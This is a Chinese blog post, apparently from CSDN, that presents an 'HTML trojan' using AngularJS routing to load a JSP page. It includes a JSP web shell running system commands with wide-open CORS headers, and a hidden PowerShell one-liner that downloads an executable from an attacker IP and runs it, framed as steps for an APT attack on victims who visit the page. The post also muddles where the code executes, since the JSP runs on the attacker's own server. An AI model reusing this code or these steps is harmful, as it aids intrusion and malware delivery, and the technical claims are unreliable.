【无标题】基于ANGULARJS的HTML木马

        传统的html页面机制,由于在默认情况下禁用脚本(例如activeX),或者具有同源策略的功能,同时由于微软对html开发做了很多限制,因此很难在HTML页面上执行相关的动态语言(例如php或者jsp等),使得很难在一定程度下通过受害者主机访问html页面,进而实现APT攻击。

         然而最近我偶然在一次对angularjs的实验中得知,通过angularjs的路由可以实现HTML页面动态加载其他的动态语言(php,jsp等)并将该动态语言界面输出的结果显示在前台,例如使用下面的代码:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>AngularJS</title>
<script src="angular.js"></script>
<script src="router.js"></script>
<script type="text/javascript">
angular.module('ngRouteExample', ['ngRoute'])
.controller('HomeController', function ($scope, $route) { $scope.$route = $route;})
.controller('AboutController', function ($scope, $route) { $scope.$route = $route;})
.config(function ($routeProvider) {
    $routeProvider.
    when('/home', {
        templateUrl: 'aaa/a.jsp',
        controller: 'HomeController'
    }).	
    otherwise({
        redirectTo: '/home'
    });
});
</script>

</head>

<body ng-app="ngRouteExample" class="ng-scope">
  <script type="text/ng-template" id="a.jsp">
      <h1> Home </h1>
  </script>
  <div> 
    <div id="navigation">  
      <a href="#!/home">Home</a>
    </div>
    <div ng-view="">
    </div>
  </div>
</body>
</html>

a.jsp的代码如下:

<%@ page import="java.io.*" %>
<%
response.setHeader("Access-Control-Allow-Origin", "*");
response.setHeader("Access-Control-Allow-Methods","GET"); 
response.setHeader("Access-Control-Allow-Methods","POST"); 
response.setHeader("Access-Control-Allow-Headers","x-requested-with,content-type"); 
try {
    String cmd = request.getParameter("cmd");
    Process child = Runtime.getRuntime().exec("net user");
    InputStream in = child.getInputStream();
    int c;
    while ((c = in.read()) != -1) {
        out.print((char)c);
    }
    in.close();
    try {
        child.waitFor();
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
} catch (IOException e) {
    System.err.println(e);
}
%>

        可以看到通过angularjs的路由功能,成功实现HTML的命令执行,可以在前端的html页面上输出当前计算机前的用户。因此利用该特性,可以通过该种方式构造指定的HTML界面实现APT攻击。例如通过加载jsp代码实现APT攻击,相关的方法如下:

         1.     启动tomcat服务器

         2.   在tomcat服务器下部署带有angularjs路由的HTML页面

         3.     编写jsp代码,通过Runtime.getRuntime().exec("1.bat")调用powershell下载并执行APT木马,将powershell代码存入1.bat,1.bat中的powershell代码如下:

powershell -WindowStyle Hidden -nop -c (New-Object System.Net.WebClient).DownloadFile('http://ip/a'p't.exe','c:\c.exe');(New-Object -com Shell.Application).ShellExecute('c:\c.exe');

          4.     最后使用受害者主机访问该HTML页面,攻击端主机成功完成APT攻击。

         相关视频演示:

2022-07-24-21-46-46

 

 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值